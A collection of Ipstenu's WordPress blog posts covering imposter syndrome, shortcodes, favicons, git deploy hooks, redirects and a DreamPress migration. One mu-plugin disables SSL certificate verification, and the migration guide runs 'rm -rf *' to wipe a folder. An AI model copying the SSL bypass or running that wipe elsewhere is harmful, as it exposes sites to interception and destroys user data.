Like pretty much everyone on the planet, I have moments where I wonder if you’re all going to figure out that I don’t know a damn thing and I’ve been faking it all these years. It’s [Imposter Syndrome](https://halfelf.org/2014/impostor-syndrome/ "Impostor Syndrome"), and we all suffer from it to a degree. And it’s comments like that developer made that reinforce it.
Now, I know this guy’s history. And I know at first glance his reply may seem terse but not all that bad. Sadly, this is probably the nicest I’ve ever seem him tell someone they sucked. He’s not nice. At all. His support forums are filled with him calling people demeaning names, or saying they’re stupid for not understanding his code, and frankly on the list of humans I would willingly interact with for fun, he’s not there. He’s not even on the reserves. But I still respect his code (though not his documentation, inline or otherwise) and I use it every day. I won’t be contributing to it anymore because I don’t have any need to be in an abusive relationship.
“Curse your sudden, but inevitable, betrayal!”And that’s what this is! He’s abusive and behavior I don’t care for and wether he means it or not, he’s being mean. It feels silly and petty to put it that way, but that’s what it is. He’s a mean person. I don’t care that he’s mean, and it didn’t actually hurt my feelings though it did make me momentarily angry at him, but I do care that meanness like that will convince someone to stop and never get better at things. Did it hurt my feelings? Yes, it did. It sucks to be told your code sucks, but it sucks more to be told in a way that makes you feel like you’ll never be good enough in any way, which is precisely what many people will read from that comment.
When you ask me “Where does Imposter Syndrome come from?” I say “People like that.” People who reinforce the belief that you’re not good enough, that you’re crap and don’t deserve their time to learn better, and you can go eff yourself.
Is he *required* to be nice and handhold me through the code and explain why? Hell no! But he made an open source product which he opened to the public, put on GitHub, and allowed for pull requests. He’s naive to think everyone will come to his product knowing everything, and I suspect part of his attitude issue is because he doesn’t want to help people. Which again, is fine. Obviously I don’t feel the same way, but I also don’t think everyone can be good at support. I do think that if you’ve got all this in the open, you’re going to get people who are far less experienced than you are. How you treat them will set the standard for what kind of help you get from your community in the future.
Let’s contrast this. I was talking to people about a change in some laws recently and fiddling with an add on to code I use because of it. When I reached a point at which the code worked, I put it on Github and said “Pull requests and fixes welcome!” I knew the code wasn’t good enough. I knew I wasn’t sanitizing everything yet, some of it was terribly inefficient, and some of it was bad code. I knew this. I knew it wasn’t perfect at all, but I put it up and then pinged a developer for the product I was using. His reply?
> mind if I fork that and we distribute it either on \[our\] site or in (pending yet another round of core team discussion) in core?
Boom. He knew it wasn’t perfect. He saw the value in the attempt and proof of concept, and he ran with it. Naturally I told him to use and enjoy, because I’d licensed it GPL. He also said he’d try and do a pull request to make it so when you used the code, it stopped you from picking the wrong thing. That was something I’ve yet to sort out, even though I’ve been playing with the code some more. I’m learning something new. I’ve never written for that code project before (except a typo fix). This is all new for me.
The difference is pretty bold. One guy pretty much insulted me, one encouraged. The insult, justified or not, discouraged me from wanting to pitch other suggestions or improvements. The encouragement is making me think about an offer they made a while ago more seriously. It also inspired me to sit and study the code, read what it did and why (seriously awesome inline documentation there), and be able to go from zero to add-on in 4 hours while prepping for a holiday dinner.
How you represent yourself, as a developer, creates your community. How you treat others can help or hinder their entire lives. You may not think about your words as having that much power because you’re just someone who helps in a support forum, or you wrote a simple two line plugin, or you translated a file, but they do. Your words matter a lot.
As for the people reading this who don’t code well either, don’t be afraid to code badly. You can’t know it all from the beginning and don’t let people get you down about that. Tell them you’re learning, that you’re trying to be bold and step out, and you won’t get any better in a vacuum. Some of us have to learn by doing, after all. We can’t all read the code and know the answers, and that’s okay.
By the way, yes I’m still using the code from the other guy. I’ve forked it (and now I get to learn about syncing your fork back with master changes) and I’m keeping my one change in there. I’m sure there’s another fix, with a filter perhaps, but given the lack of documentation and assistance, I’ll be stuck with this for a while yet. But you know what? That’s actually okay.
I honestly have no hard feelings on a personal level. I’m not obligated to like him or agree with his choices. He’s not obligated to agree with mine. That’s why open source is great. I can fork it and go. But what won’t happen is that I won’t be afraid to make changes, to get things wrong, and to keep learning.
I’m not an imposter. I’m just still learning.
**Categories:** How It Is
**Tags:** coding, essay, freedom, open source
---
### [Don't Reinvent the Wheel](https://halfelf.org/2014/dont-reinvent-wheel/)
**Published:** November 28, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Unless the wheel needs it, of course...
**Content:**
In WordPress, I punt plugins now and then for doing weird things that can best be described as reinventing the wheel.
Any time a plugin replicates functionality found in WordPress (i.e. the uploader, jquery), it is frowned upon. It presents a possible security risk since the features in WordPress have been tested by many more people than use most plugins. Simply put, the built in tools are less likely to have issues.
This was always something a little theoretical. I hadn’t yet run into someone who had broken their code with an upgrade of WordPress just because we updated the core wheel. Until November 20th.
The [shortcode API](http://codex.wordpress.org/Shortcode_API) in WordPress was updated. It was decided that in order to stop breaking on PHP 5.4.8 and under, we needed to [apply wptexturize() to shortcodes](https://core.trac.wordpress.org/ticket/29557). This had a fun side effect when people didn’t properly register shortcodes, which of course brought up the logical question … why *wouldn’t* you register your shortcode?
What I generally see in plugins is someone’s using a filter to look for their shortcode instead of registering it, so the post content is, in it’s entirety, parsed. That always struck me as foolish, since posts can get pretty long if [Chris Lema](http://chrislema.com) or I are writing. And the reason people would do it was also odd. Either they were being lazy, they didn’t know about shortcodes (which I can understand, you can’t know everything), or they were trying to get around an ‘issue’ with nested shortcodes.
For what it’s worth, the shortcode parser *correctly* deals with nested shortcode macros.
```
[tag-a]
[tag-b]
[tag-c]
[/tag-b]
[/tag-a]
```
That works fine. This won’t:
```
[tag-a]
[tag-a]
[/tag-a]
[/tag-a]
```
Now I want to note, I’m using a `php` shortcode around those tags. So yes, it works great. But the problem would be if I wanted to show you the php code in a php shortcode… Doesn’t work that way, and it’s a limitation of the context-free regexp parser used by do\_shortcode(). We went for speed over levels, and it can’t match each opening tag with its correct closing tag.
Obviously the ‘right’ answer is ‘don’t nest same-named shortcodes’ but instead, some plugin authors have chosen the strategy of *not* registering shortcode names. That way the parser doesn’t try to mess with it. Sounds great, right?
Not with wptexturize() running.
```
[tag-a unit="north"]
[tag-b size="24"]
[tag-c color="red"]
[/tag-b]
[/tag-a]
```
That turns into this:
```
[tag-a unit="north"]
[tag-b size=”24”]
[tag-c color=”red”]
[/tag-b]
[/tag-a]
```
Basically the code is understood to be code and not a quote. That means it would simply output the tags as code and not the tag content.
And you see why this is a problem.
There are two answers to fix this. One is to turn off wptexturize for your pseudo-shortcodes (via the [no\_texturize\_shortcodes](http://codex.wordpress.org/Plugin_API/Filter_Reference/no_texturize_shortcodes) filters which are not complete, sadly, if you need to unfilter shortcode variables) and the other is to use the Shortcode API as it was intended. I would, personally, suggest you use the API since that prevents your code from breaking like this if another security update happens.
Which brings us back to why reinventing the wheel is generally foolhardy in robust, well maintained systems. WordPress is constantly being improved, fixed, patched, and secured. The more you work around it by making your own way, the harder it is to fix things when WordPress makes a change. You’d think that people who make their own wheel would be attentive to anything that might break it, but they rarely are. They make their way, forget about it, and get annoyed when their code breaks and blame WordPress for not warning them. That’s a dirty secret about Open Source. No one’s going to tell you that a change will break your code. They expect you to be paying attention.
The absolutely worst part about all this is that your users will have to decide to either stop using your code (which isn’t always an option) or not to apply an upgrade. In the case of 4.0.1, this is dangerous. This is why I will keep telling you not to reinvent the wheel, unless the wheel really needs it. And if the wheel needs a reinvention, you should consider submitting a patch to WordPress core, because if it’s that bad, everyone should know.
**Categories:** How It Works
**Tags:** coding, essay, shortcode, wordpress
---
### [No Notice For Upgrades?](https://halfelf.org/2014/notice-upgrades/)
**Published:** November 26, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How I was silly and blocked my own emails for WordPress upgrades.
**Content:**
About a week ago I realized I’d not see an email with the subject “\[Ipstenu.Org\] Background updates have finished” in a long time. A really long time. Like so long that when I looked in my email trash, there wasn’t one.
This was bad, because on Ipstenu.org I’m running trunk WordPress, which means I *should* get two emails a day about this. I ran to my server and scanned logs for 30 days. Nothing. And that was really bad.
I’ve been using [Advanced Automatic Updates](https://wordpress.org/plugins/automatic-updater/) for a long time, and I love it, it works well, but it wasn’t working ‘right’ for some reason, because it wasn’t emailing me on that one site, so I uninstalled it. The problem there is that without it, how would I upgrade plugins and themes? Since I know I can control the upgrades with filters, I decided to make an mu-plugin to handle just that.
And that was when I saw I *already had* an mu-plugin called upgrades.php with this:
/*
Plugin Name: Upgrade Control
Description: Control for upgrades
Version: 1.0
*/
// auto updates
define( 'WP_AUTO_UPDATE_CORE', true );
define( 'CORE_UPGRADE_SKIP_NEW_BUNDLED', true );
// Enable nightlies (dev updates):
add_filter( 'allow_dev_auto_core_updates', '__return_true' );
// Force auto plugin updates:
add_filter( 'auto_update_plugin', '__return_true' );
// Force auto theme updates
add_filter( 'auto_update_theme', '__return_true' );
// Suspend emails
add_filter( 'auto_core_update_send_email', '__return_false', 1 );
add_filter( 'automatic_updates_send_debug_email', '__return_false', 1 );
// SSL fixes
add_filter('https_ssl_verify', '__return_false');
add_filter('https_local_ssl_verify', '__return_false');
[/php]
Whoops. That bit where it says "Suspend emails" was doing exactly that. I commented that out and let it go. The next day, 4.0.1 was released (as was 4.1-beta2) and everything upgraded! Okay, so what about emails when updates happen for plugins?
Funnily enough, since I have the debug email on now, I get this:
**Categories:** How To
**Tags:** administration, coding, upgrading, wordpress
---
### [Multisite Favicons](https://halfelf.org/2014/multisite-favicons/)
**Published:** November 24, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** More fun with Favicons. Now we're playing with Multisite.
**Content:**
One of the challenges with WordPress Multisite is that everything is on the same install. This means something that is rather trivial, like a favicon, becomes exceptionally complex and tiresome.
On a normal site, when I want to make a favicon, I just toss the file into my main HTML folder, next to that .htaccess file, and I’m done. Now, for me it’s a bit of an extra step because I use StudioPress’ Genesis theme, and it applies its own favicon. It’s probably the only thing about Genesis that makes me annoyed, though it’s right next to when my host does that for me. Still, there’s a trick with Genesis.
### Because of Genesis
Genesis is my parent theme, and it defines my favicon. So I have to delete its and put in mine:
```
// No, you may not have your favicon
remove_action('genesis_meta', 'genesis_load_favicon');
add_filter( 'genesis_pre_load_favicon', 'halfelf_favicon_filter' );
function halfelf_favicon_filter( $favicon_url ) {
return 'https://halfelf.org/code/images/favicons/halfelf.ico';
}
```
And it’s that simple.
But I’m talking about Multisite, and I want to have a different favicon per site, I end up facing a new challenge.
### Because of Genesis and Multisite
I still need to tell Genesis to shove it, but then I need to check what site I’m on and call the right favicon per site and this works very well. [I’m using it today](https://halfelf.org/2014/genesis-favicons-multistyle/) (you can see the code on that other link). But what if there was another option? What if I didn’t have to code it? Because the real problem with that code is *I* have to do it! If someone wants a new site to have their own favicon, I have to go in and add it to my mu-plugin, save it, commit it, and push it. Ew.
### Jetpack Site Icons
Jetpack has a newish feature called [Site Icon](http://jetpack.me/support/site-icon/). With that module activated, I can allow each site to upload their own site icon *and* it will make a mobile icon too where I won’t have to.

For a Multisite running Jetpack auto-activated on all sites, this is perfect. And yes, I do that because it saves me a headache of having to set it up later. I allow all sites to connect on their own, but I can also control all that from the network admin.
So what does that old code look like now?
### With Genesis and Jetpack
Now my code is simple. For everyone, I kill the default favicon, and then I set my own:
```
// No, you may not have your favicon
remove_action('genesis_meta', 'genesis_load_favicon');
global $blog_id;
add_filter( 'genesis_pre_load_favicon', 'example_favicon_filter' );
function ipstenu_favicon_filter( $favicon_url ) {
return 'http://example.com/images/favicons/example.ico';
}
```
And the best part is if I set a site icon in Jetpack, it uses that instead.
Best of both worlds.
**Categories:** How To
**Tags:** multisite, themes, wordpress
---
### [Including Assets](https://halfelf.org/2014/including-assets/)
**Published:** November 21, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Be mindful in your use of add-on packages to your code. Only use what you need, and leave the rest out.
**Content:**
I’ve noticed a trend in plugin reviews that people are including third party assets with their code.
This is great. Heck, I do it on a couple of mine. Why should I reinvent the wheel when I’m including code? If I need to use some existing code like a GPL friendly lightbox file, I’ll just grab [Colorbox](http://www.jacklmoore.com/colorbox/) and be happy. But have you ever really looked at your assets?

The above image shows you all the files and folders included in Colorbox. If I was including the entire git repository in my plugin, it would take up about a meg of space. The unminified js file is only 29 KB. For me, it’s a no-brainer again. Grab just the js file (making sure the header has the license info and the URL) and toss that in my code. Why would I include a meg of data I’m not using just for the ‘ease’ of a git clone?
And really I think that’s what’s happening. We’re all so excited to use a git pull or a submodule for the ease of inclusion, we stop thinking about exactly what we’re including in our code and how much weight we’re accidentally adding to it by dumping the whole library in there. Some libraries, like [Complexify](http://danpalmer.me/jquery-complexify/) are really small. Then you have [Twemoji](https://github.com/twitter/twemoji), which weighs in at 135 MB, give or take.
Do you really need the whole thing in your plugin, or can you just call their JS remotely from their CDN? That’s one of those things I’d certainly recommend for most people. Sure, I’m the biggest complainer about people off-loading code, but I also am reasonable and logical. Having everyone load a 130+ meg plugin isn’t sustainable, when Twitter’s made a nice way to do it remotely. That’s a service like a font that’s okay and understandable. After all, I hate that WordPress has to call the new fonts on the dashboard from Google, but at the same time including all the fonts for all the languages would make WordPress 11 megs more. That’s just crazy.
Mind you, I had the shower idea that we could make WordPress download the fontpack when it downloaded the language packs, but we’re not anywhere near that yet. Still, that would kill two birds with one stone in my mind. It’s also illustrating the point of being thoughtful and reasonable about the assets we include in our plugins. You don’t need all the documentation files for a js plugin or most php ones either. It’s certainly easier to just drop the whole package into place, but it’s not always *best*. If one of those example files has a vulnerability, great, you just shot your user base in the foot.
Limit what you put in your plugins. It’ll be easier that way.
**Categories:** How It Is
**Tags:** design, development, essay, plugins, wordpress
---
### [WIRED Doesn't Use Multisite](https://halfelf.org/2014/wired-doesnt-use-multisite/)
**Published:** November 10, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** When a company makes all the right choices for all the right reasons, I want to jump up and cheer.
**Content:**
At WCSF this year, WIRED engineer Kathleen Vignos talked about moving WIRED from 35ish blogs to one blog.
They didn’t use multisite at any point along the way.
Now part of this was that back in 2008, when they started, the concept of multisite wasn’t really there. But that left them in a strange world with 35 separate blogs, separate installs, and an psychotic update system that was headachy and roundabout and involved 35 separate sites. But you could understand why they didn’t in the past, since there wasn’t a way to do it back then, but it brings up the question today.
Why not multisite *now*?
That was my question after her talk, and I promise you angels sang from the heavens when she said that multisite was intended for siloing data, and she needed to share data between ‘subjects.’ So for them, to have categories and just post articles in the appropriate ones (yes, plural) was exactly what they needed.
I have been saying this for a few years now. Multisite is great, except when it’s not, and there are reasons to use it and reasons to not. WIRED properly looked at their sites and said “We need to share data, Multisite may not be the best.” They also said “We need to make it easier to add users to a site, so maybe not Multisite.” Every single reason they picked to *not* use Multisite was 100% exactly the right one.
Multisite is simply *not* what you want if you need to share data between sites and you’re on a big site. Had WIRED used Multisite, they would have been miserable and have to write not just plugins to migrate the data, but ones to join the tables and display data in an ongoing way. What a pain.
Kathleen talked about the hurdles of merging the sites, and the tools they invented in order to make their Pangea happen. They had to worry about logical things, like keeping User A out of a category, and made use of plugins like [Restrict Categories](https://wordpress.org/plugins/restrict-categories/) to do just that. Custom fields in the author profiles were use to assign a ‘default beat,’ and they made extra roles to allow people to manage the sites. They used template files to make various categories look different, which is often the main pain point.
By doing this, they were allowed to share *and* segregate data in an efficient and effective way.
WIRED wins my hat-tip for the best talk at WCSF about Multisite, simply by not using it.
You can see the slides here:
http://www.slideshare.net/kvignos/word-campsf-2014-for-slideshare
And the video here:
\[wpvideo n4wrIVIU\]
**Categories:** How It Is
**Tags:** multisite, wordpress
---
### [Git The Master Race](https://halfelf.org/2014/git-master-race/)
**Published:** November 17, 2014
**Author:** Ipstenu (Mika Epstein)
**Content:**
I was working on a project, a side project for fun with a friend, and she expressed a slight worry. We weren’t using any versioning on our theme or mu-plugins code. Or anything else for that matter. There were three of us. We thought about using GitHub until I pointed out I had git on my server, where I was hosting it all.
In many ways I don’t use git like a ‘normal’ person, or so I’ve been told. I don’t have public git repo of everything because some of it is just private. I don’t even have a public GUI interface for people to file issues on my private code. Public code? Sure, and I use GitHub for it. Personal stuff is not up there, and I don’t care to make it.
What I do instead is, since I do have Git installed on this server, is allow each user account to make a git repository folder off their home folder. Everyone has `~/repositories/` and in there they can store their code!
Here are the ones for mine:
```
~/repositories/ipstenu-code.git/
~/repositories/ipstenu-mu-plugins.git/
~/repositories/mothra.git/
~/repositories/scripts.git/
~/repositories/slides.git/
```
The two that start ‘ipstenu’ are for the website ipstenu.org and all it’s children. Mothra is some server scripts I want to keep backed up, scripts are user scripts, and slides are my slides.
But how do I get there, and how do I keep everything synced up? First is the basic setup for git:
```
cd ~/repositories/
mkdir projectname.git
cd projectname.git
git --bare init
```
From here it’s a simple git clone, too:
```
git clone user@example.com:/home/user/repositories/projectname.git
```
But… I have that project named ipstenu-mu-plugins. When I’ve checked in code, do I manually copy the files over? Of course not.
When you go into that git folder where I ran the init, you see this:
```
[~/repositories/ipstenu-mu-plugins.git]# ls
./ ../ branches/ config description HEAD hooks/ index info/ objects/ refs/
```
If you go into the hooks folder, you get a list of files:
```
ipstenu@ipstenu.org [~/repositories/ipstenu-mu-plugins.git/hooks]# ls
./ commit-msg.sample pre-applypatch.sample pre-push.sample
../ post-update pre-commit.sample pre-rebase.sample
applypatch-msg.sample post-update.sample prepare-commit-msg.sample update.sample
```
You’ll notice I only have one file that isn’t a .sample: **post-update**
That’s my secret sauce.
```
#!/bin/sh
export GIT_WORK_TREE=~/public_html/wp-content/mu-plugins
git checkout -f master
```
This just uses [git checkout](http://git-scm.com/docs/git-checkout), forces the master branch, and dumps the files where I want them. I set it up for each repo when I’m ready to start deploying, and then my dev process is this.
1. Pull master and all remote branches to make sure I’m up to date
2. Make a new branch to develop
3. Push the new branch to origin when I’m sure it’s right
4. Merge the new branch into master
5. Push master
And in that moment, the push will copy my files live.
Since I don’t ever do dev work in master, this is safe for me. It’s five steps, but I actually have a script to run that first one every single day, so that’s almost step zero. When I work with other people, I always make a backup local branch of master as ‘last known good’ just so I can roll back fast if I’ve been phenomenally stupid. This is usually a date like “GOOD\_20141117”, which I know is different from my actual release labels, that are always “REL\_1.2.3” style. If it’s a weird thing, like when I was folding Ninja Forms in my site, it was “NINJAFORMS\_1.0” because I wanted to be clear what that dev branch was for.

By the way, if you need to set up a shared repository, you should read [Kovshenin’s “How To Create a Remote Shared Git Repository”](http://kovshenin.com/2011/howto-remote-shared-git-repository/). I don’t, since everyone logs in using SSH keys to the account (so on my shared project, everyone uses ssh projectaccount@projectdomain.com) since they actually need that access anyway.
**Categories:** How To
**Tags:** cms, coding, git, website
---
### [Mailbag: .htaccess Magic with Subdomains and Subfolders](https://halfelf.org/2014/mailbag-htaccess-magic/)
**Published:** November 12, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Redirect a subdomain and a folder at once? Sure thing!
**Content:**
From Ginger:
> Hiya, I enjoy your blog and humor within
>
> In case you still do posts from the “mail bag” — I have seen mention of .htaccess on your site and I’m curious how it relates to the subject of redirects. For example, in my day job we have a site that has two ways to access an external support site.
>
> So, we want to redirect: www.example.com/support and support.example.com to the same external support site. In the past, I would go to our host and edit the DNS to redirect on these URLS to the external site. Is that the best way or should I be handling this in the .htaccess file now that we’re on WordPress?
Depends on how lazy I am.
DNS is great because I can just send support.example.com over, but this only works if the external site lets me do that. I can point my domain at tumblr.com all I want, yet until I add my custom domain to their settings, the URL won’t work. This is why your domain mappings in Multisite don’t always work, folks. You have to tell WordPress, the name servers, *and* the server that the domain lives there. If you can? Super simple for the subdomain, but not for the sub*folder*.
Which brings us to .htaccess:
**Apache 2.2**
```
RewriteCond %{HTTP_HOST} ^example\.com [NC]
RewriteRule ^support(.*)$ http://supporturl.com/ [L,R=301]
RewriteCond %{HTTP_HOST} ^support\.example\.com [NC]
RewriteRule ^(.*) http://supporturl.com/ [L,R=301]
```
**Apache 2.4**
```
RedirectMatch ^support(.*) http://supporturl.com/
RedirectMatch (.*) http://supporturl.com/
```
Now someone will note that specifying the HTTP\_HOST for example.com is silly, but I disagree. This lets me use `http://foo.example.com/support/` to redirect somewhere else. I don’t worry about the www part because I always force no-www on all my domains. Saves me steps later.
Oh and I’m glad Ginger likes my humor. I don’t know how to turn it off!
**Categories:** How To
**Tags:** htaccess, mailbag, wordpress
---
### [Karuta](https://halfelf.org/2014/karuta/)
**Published:** November 7, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Put on your hakama and play Karuta, WordPress style.
**Content:**
The idea of WordPress Karuta is based on the Karuta (カルタ) game in Japan. Karuta means, essentially, card game and yet is a very popular game to play competitively. The cards are written with the Ogura Hyakunin Isshu, which are 100 famous poems, and the game is played very simply. The poem is read and the first person to find the card of the poem and tap it gets the card. In the end, the most cards wins. It’s also really wild to watch.
http://www.youtube.com/watch?v=nKAmZxVhQww
At WordCamp Tokyo they introduced me to WordPress Karuta.
[](https://halfelf.org/wp-content/uploads/sites/2/2014/10/10624782_868764129815337_4378584537049840229_n.jpg)
The game is simple. The black cards are to be asked aloud and you grab the pink card with the answer.
I now have all the data from the 2013 and 2014 cards and the plan is to make a GlotPress site where we enter all the Japanese original data and translate it so anyone, anywhere, can make the cards to play and teach. Yes, teach.
If you’re an American, think of it like *Jeopardy* the card game and pretend you Alex Trebeck is saying this: “Display the URL of the individual pages, such as posts or fixed page.”
And you go, “Oh! `the_permalink`!!”
But instead you grab a card.
This would let people learn in a fun way, as it forces you to think about the meaning behind the code. It’s easily extendable past just code, you can ask questions about plugins. For example, an answer might be ‘WordPress SEO’ to a question of ‘A plugin that allows you to connect to Google Analytics, Google Webmaster, Yahoo sites, and also edit your robots.txt file.’
I’m going to work with Markus and Shin to translate this so everyone can try their hand at WordPress Karuta!
**Categories:** How It Works
**Tags:** wordpress
---
### [TotalSpaces](https://halfelf.org/2014/totalspaces/)
**Published:** November 3, 2014
**Author:** Ipstenu (Mika Epstein)
**Content:**
For everyone at WCSF who asked “How did you get your Spaces on Mac to have names?” here’s the answer.
[TotalSpaces 2](http://totalspaces.binaryage.com/), by Binary Rage, is “the ultimate grid spaces manager for your Mac” and they’re not wrong. It took me a long time to agree that I needed to utilize spaces on my Mac, but as I started to want to isolate windows to concentrate (and [turned off a lot of notifications](https://halfelf.org/2014/inbox-insanity/ "InBox Insanity")), I realized that everything in one ‘space’ wasn’t a great idea.
I sat down and broke out my spaces into what I frequently do:
- WordPress
- DreamHost
- coding
- writing
- being social
- watching movies
There is some overlap of apps, but in order to make my life easier, I use Chrome for DreamHost and Chromium for ‘WordPress’ (i.e. me) with separate user accounts in Chrome(ium). That way they can sync between users. I made eight spaces and assigned various apps to only open in those spaces, which is why my screen bounces between spaces when I boot up my laptop. This works fine for me, I just don’t look at it for the 4 seconds it takes for an SSD to boot.

The only issue that remains is that sometimes I want multiple apps in multiple spaces, like a web browser. I have Chromium set to ‘Ipstenu’ but I also want it over in my IRC/Slack window, so I can poke things while I talk in meetings. Right now I just tossed one browser window over there, but I wish I could designate an app to be in only two specific spaces at a time.
I do keep some apps, like BBEdit, set to ‘all spaces’ for that, but that makes it a little weird as it means that window is open in all spaces. The alternative to that is ‘none’ which I use for [iTerm2](http://iterm2.com/) to have an SSH window for each space.
TotalSpaces2 has a free trial, so I advocate people test it and use it to see if it helps their flow. It made mine perfect for my brain, which was the most important thing for me.
**Categories:** How To
**Tags:** macintosh, software
---
### [Migrating to DreamPress](https://halfelf.org/2013/migrating-to-dreampress/)
**Published:** June 4, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How to Migrate an existing account to DreamPress. This is NOT for beginners!
**Content:**
I should start with the note: *You do not need to do this.* We’re finishing up the last bells and whistles on a script that will handle all this for you if you have a One-Click-Install, but if you really just can’t wait or had a manual install, here’s what you’ll need to do. Keep in mind, there will be about an hour where your hosting will ‘vanish.’ In the words of Ford Prefect, *don’t panic*.
Again, you don’t have to do this. We will have a magic button soon enough. That’s why this isn’t going up on the Wiki, it’s really not going to be (long term) useful except to people who love experimentation.
We have a magic button!

But if you still want to do it manually, read on.
So you saw the news about [DreamPress](http://dreamhost.com/dreampress/) and [read our bragging post](http://dreamhost.com/dreamscape/2013/06/04/dreamhost-announces-dreampress-in-beta-wordpress-on-steriods/) about it? You got super super excited and then bummed, because the magic button isn’t done yet? Well… Okay, you *can* migrate manually (I did it for this site yesterday), but you need to know shell. You can do all this with FTP, but it’ll take way longer.
If you just want to make a new domain, read [DreamHost Wiki: DreamPress](http://wiki.dreamhost.com/DreamPress), and you’re good to go! Otherwise, pull the hat down snugly, because here we go!
**1. Remove Hosting**

Yes, I know. It’s scary. By removing hosting you will turn your site to DNS only. This is *OKAY*. Your files and your DB will remain exactly where they are. The **Remove** button is right under ‘Fully Hosted / User : *elftest*‘ so just click that.

See? Now it’s DNS only.
**2. Add DreamPress hosting**
Go to [https://panel.dreamhost.com/index.cgi?tree=domain.wordpress&](https://panel.dreamhost.com/index.cgi?tree=domain.wordpress&) and add a new site.

You should see a happy green box telling you that it will take 15-30 minutes to provision you the site. Sorry about the wait time, but we’re actually building you the server stuff on the fly. It’s special.

While you’re waiting, let’s get some things done.
**3. Export the old DB**
Everything is perfectly safe and sound, so just go ahead and do that. Save it locally to your computer.
Go to [https://panel.dreamhost.com/index.cgi?tree=goodies.mysql&](https://panel.dreamhost.com/index.cgi?tree=goodies.mysql&) and log in to your SQL database. The directions are the same as our normal [Backup MySQL](http://wiki.dreamhost.com/Backup_MySQL) ones, so just go and do that.
If you’re Command Line savvy, you can do this via WP-CLI.
```
ssh oldaccount@oldserver.dreamhost.com
cd example.com
wp db export
```
That will reply with “Success: Exported to example\_com.sql”
By the way, you’ll need to have the server name (not your domain name) in order to SSH in, as we’ve already pointed your domain to DreamPress. It’ll be something like ps10000 which makes your SSH ps10000.dreamhost.com. You can leave the SQL file there, we’ll pick it up later on in the show.
As soon as you get that email saying “Yay! DreamPress for you!” we’ll ignore the email’s directions and skip on to…
**4. Get the new credentials for both SQL and SFTP.**
On the DreamPress page, you’ll see your new site info.

You’ll be able to find the new passwords at the usual locations. In the case of the user account (which will be something like wp\_kxezav), you’ll want to set it to something you know. While you’re in there, change the account type to “Shell account – allows SFTP/FTP plus ssh access.” I personally also check to disallow FTP, for security. I also like to rename the account something like ‘ElfTest – DP’ so I know this account is for ElfTest on DreamPress.
By the way, you may wonder “Why can’t I have one ID for all my domains on DreamPress?” and the answer is twofold. First, we’re charging you per site. Yes, site. Secondly, security. If one account gets hacked, the others are safe. This is a good thing!
**5. SSH into your new account**
It’ll be `ssh wp_kxezav@ps1121212.dreamhostps.com` or such and this will dump you into *not* the domain, but the folder above it. This is important! You need to be in the example.com folder in order to do anything. Notice also how the domain is suddenly dreamhostps.com and not just dreamhost.com? Also important.
By the way, if you’re going to be using a lot of SSH, you should set up [passwordless SSH access](https://halfelf.org/2012/passwordless-ssh/). It’s perfectly safe (in fact, safer than entering a password), and has to be set up per computer but .. how many of us use more than one computer? Hush, geeks.
**6. Super power time! Let’s copy everything over!**
Actually, let’s delete everything first. Yes, I know what I just said. There are reasons. This is just faster. I’m super lazy, so I first opened up `wp-config.php` and copied the SQL data for the NEW database.
```
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'example_com');
/** MySQL database username */
define('DB_USER', 'examplecom1');
/** MySQL database password */
define('DB_PASSWORD', 'likeaflaninthecupboard');
/** MySQL hostname */
define('DB_HOST', 'mysql-1.example.com');
```
Obviously changed for my protection. You’d never publicize your passwords. Right? *RIGHT?* Good. I saved this to a text file on my laptop for the time being. Now let’s delete:
```
ssh newuser@ps1121212.dreamhostps.com
cd example.com
rm -rf *
```
This wipes out *everything* in my domain’s folder. Make 100% absolute sure you got the right folder! Once you’ve done it, let’s copy things over!
```
scp -r olduser@oldserver.dreamhost.com:example.com/ .
```
SCP is ‘Secure Copy’, and is a fancy pants Unix Command. I’m fond of it. You’ll notice that I said to use ‘oldserver.dreamhost.com’ and not ‘example.com’ and this is because we’ve already pointed your domain to DreamPress. Zoing! When you do this, you’ll be prompted for a password.
Then you’ll get a mile of stuff like this:
```
wp-config.php 100% 3583 3.5KB/s 00:01
xmlrpc.php 100% 2719 2.7KB/s 00:00
readme.html 100% 9177 9.0KB/s 00:00
admin-bar-sprite.png 100% 2470 2.4KB/s 00:00
```
This is SCP copying everything over, safe and sound.
**7. Change your Database Stuff**
There are two parts here. First you want to copy that DB stuff you saved before into the wp-config.php file, replacing the configuration you had there before. Second you want to import that backed up database into the new DB.
You can do this via phpMyAdmin if you want, but if you’re using wp-cli (and you should, it’s awesome), you can do this:
```
wp db import example_com.sql
```
Whaaaaat? How did that work? Remember when you exported on the old setup and then SCP’d the files over? Guess who came with! That’s right, you slipped your DB over nice and fast, and boom goes the dynamite, you’re in.
**8. Have a beer!**
I always end things with a celebratory something. Your URLs didn’t change, so you’ve got nothing to worry about. Once you’re sure everything’s good, go ahead and delete the old user ID *as long as you are 100% certain you’re not still using it*!!! Remember, a lot of us use the same IDs for multiple domains.
**Categories:** How To
**Tags:** dreampress, wordpress
---
### [Domain Registration, No Hosting](https://halfelf.org/2012/domain-registration-no-hosting/)
**Published:** December 4, 2012
**Author:** Ipstenu (Mika Epstein)
**Content:**
Just want to use DreamHost for DNS? You can do that!
Login into your Panel and go into **Domain > Registrations**.
Click the “Add Hosting” button on the far right.
It will redirect you to a new page and from that page you can select from “Fully Hosted, Redirect, etc”. The very last one is “DNS Only”.
Go ahead and select that and there you go!
You can also go to the Manage Domains page and click on (Add New Domain / Sub-Domain button), and scroll to the bottom of the next page to set it up for DNS Only.
**Categories:** How To
**Tags:** dns, dreamhost
---
### [I'll be in Tybee!](https://halfelf.org/2012/ill-be-in-tybee/)
**Published:** October 24, 2012
**Author:** Ipstenu (Mika Epstein)
**Content:**
There’s an upcoming WordPress Community Summit, and I’ll be attending! I was invited before I was employed here at DreamHost (who is [providing lunch, yay!](http://make.wordpress.org/summit/2012/10/24/lunch-is-on-dreamhost/)), so now I’m serving two purposes! The first is as a community support leader, and in that auspice, I plan to represent the common user. The second is as DreamHosts’s WordPress Support Manager, and there I will represent the support my company provides you DH users.
